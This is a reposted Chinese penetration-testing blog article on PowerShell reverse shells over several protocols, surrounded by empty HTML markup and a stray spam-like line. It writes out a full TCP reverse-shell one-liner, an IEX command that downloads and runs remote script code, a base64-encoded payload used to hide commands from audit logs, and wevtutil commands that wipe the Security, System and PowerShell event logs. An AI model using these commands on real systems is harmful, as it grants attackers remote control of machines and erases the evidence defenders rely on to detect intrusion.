<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/6090

                    0x00 前言


                    當我看了DM_牛發的http://zone.wooyun.org/content/20429,我的心情久久不能平靜,這本應屬于我的精華+WB,被他先發了,這娃真是可惡,可恨 :-),后來DM_牛又發了我一些資料讓我學習,我就寫了此文,剛入門,肯定有錯誤的地方,希望小伙伴們討論,指出。

                    這次Labofapenetrationtester是以"week of powershell shell"的形式放出來的,就是每天一篇,一共五篇,分別是

                    Day 1 - Interactive PowerShell shells over TCP
                    Day 2 - Interactive PowerShell shells over UDP
                    Day 3 - Interactive PowerShell shells over HTTP/HTTPS
                    Day 4 - Interactive PowerShell shells with WMI
                    Day 5 - Interactive PowerShell shells over ICMP and DNS
                    

                    0x01 前三天


                    第一到三天的TCP,UDP,HTTP,HTTPS的反彈方法為: 把相應的PS1腳本傳到目標機上,然后執行

                    #!bash
                    D:\>PowerShell.exe -ep Bypass -File d:\Invoke-PowerShellUdp.ps1
                    

                    就會走不同的協議出來,我這里演示的是UDP協議的,如圖

                    enter image description here

                    要先監聽端口,再反彈,否則會報錯。

                    實際環境攻擊的話,我常常還加-NoLogo -NonInteractive -NoProfile -WindowStyle Hidden參數,如下

                    #!bash
                    PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File d:\Invoke-PowerShellUdp.ps1
                    

                    另一種玩法是如果對方通外網,可以直接用IEX下載遠程的PS1腳本回來執行,

                    #!bash
                    IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
                    

                    0x02 Day 4 - Interactive PowerShell shells with WMI


                    這個通常只能用在內網,可以完全替代psexec了,作者這里利用命名空間來保存WMI執行結果,最后再取回來回顯結果的思路非常贊,解決了WMI遠程直接命令沒有回顯的問題。當然運行這個腳本需要管理員權限,并且要輸入對方的賬號。

                    0x03 Day 5 - Interactive PowerShell shells over ICMP and DNS

                    這個腳本運行,走ICMP協議的話,只需要注意一點,本地要先執行

                    #!bash
                    [email protected]:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1
                    

                    否則反彈是無法用的,相信用過icmpsh的同學都知道。

                    后來有個老外BLOG說做如下配置,可以發現powershell攻擊行為以及看到攻擊代碼

                    配置需求如下:

                    1. 在C:\Windows\System32\WindowsPowerShell\v1.0目錄下建立一個profiles.ps1

                    填寫如下內容

                    # !bash    
                    CD D:\ $LogCommandHealthEvent = $true $LogCommandLifecycleEvent = $true
                    
                    1. 右鍵點擊profile.ps1,一次點擊“安全”->“高級”->“審核”,點“編譯”按鈕,添加用戶“everyone”,開啟如圖所示的審核項

                    enter image description here

                    1. 因為這樣做以后,日志會變的很大,為了編碼回滾覆蓋,相應的增加下日志的容量,如圖

                    enter image description here

                    怎么能繞過這種防護呢?因為他加了對profile.ps1的文件審核,所以通過修改或者移動/刪除這個文件的策略是走不通的。

                    當我們執行了反彈腳本后,可以在“事件查看器”里的“windows powershell"的事件類里,通過過濾eventID為500的事件看到細節

                    #!bash
                    CommandLine=$client = New-Object System.Net.Sockets.TCPClient("10.18.180.10",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
                    

                    如圖:

                    enter image description here

                    剛開始我想通過-noprofile選項因該可以繞過這個限制,實踐后發現不行,還是會在日志里看到,然后我又配合用-enc選項進行base64編碼,操作如下:

                    #!bash
                    powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQA4AC4AMQA4ADAALgAxADgAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgAyADUANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA0ACgANAAoA
                    

                    發現雖然日志還是會有記錄,但是不會在CommandLine=里看到腳本代碼的細節了,多多少少算一個進步(此刻感覺自己屌屌的)。

                    當然,最絕對的辦法,還是在目標上用完powershell后,來一下

                    #!bash
                    wevtutil cl "windows powershell"
                    wevtutil cl "security"
                    wevtutil cl "system"
                    

                    當然如果權限低,就沒辦法了:(

                    用powershell做攻擊的好處是顯而易見的,省去了免殺(我測試的時候是這樣的),方便傳輸(注入的時候),系統自帶(win7以后就支持了)。但是即使管理員不像上面這樣開啟審核,默認還是有痕跡的,有機會下篇再細說。有喜歡滲透的小伙伴都加我討論,自己搞太慢了。

                    參考文章:

                    http://x0day.me/

                    http://hackerhurricane.blogspot.com/2014/11/i-powershell-logging-what-everyone.html

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频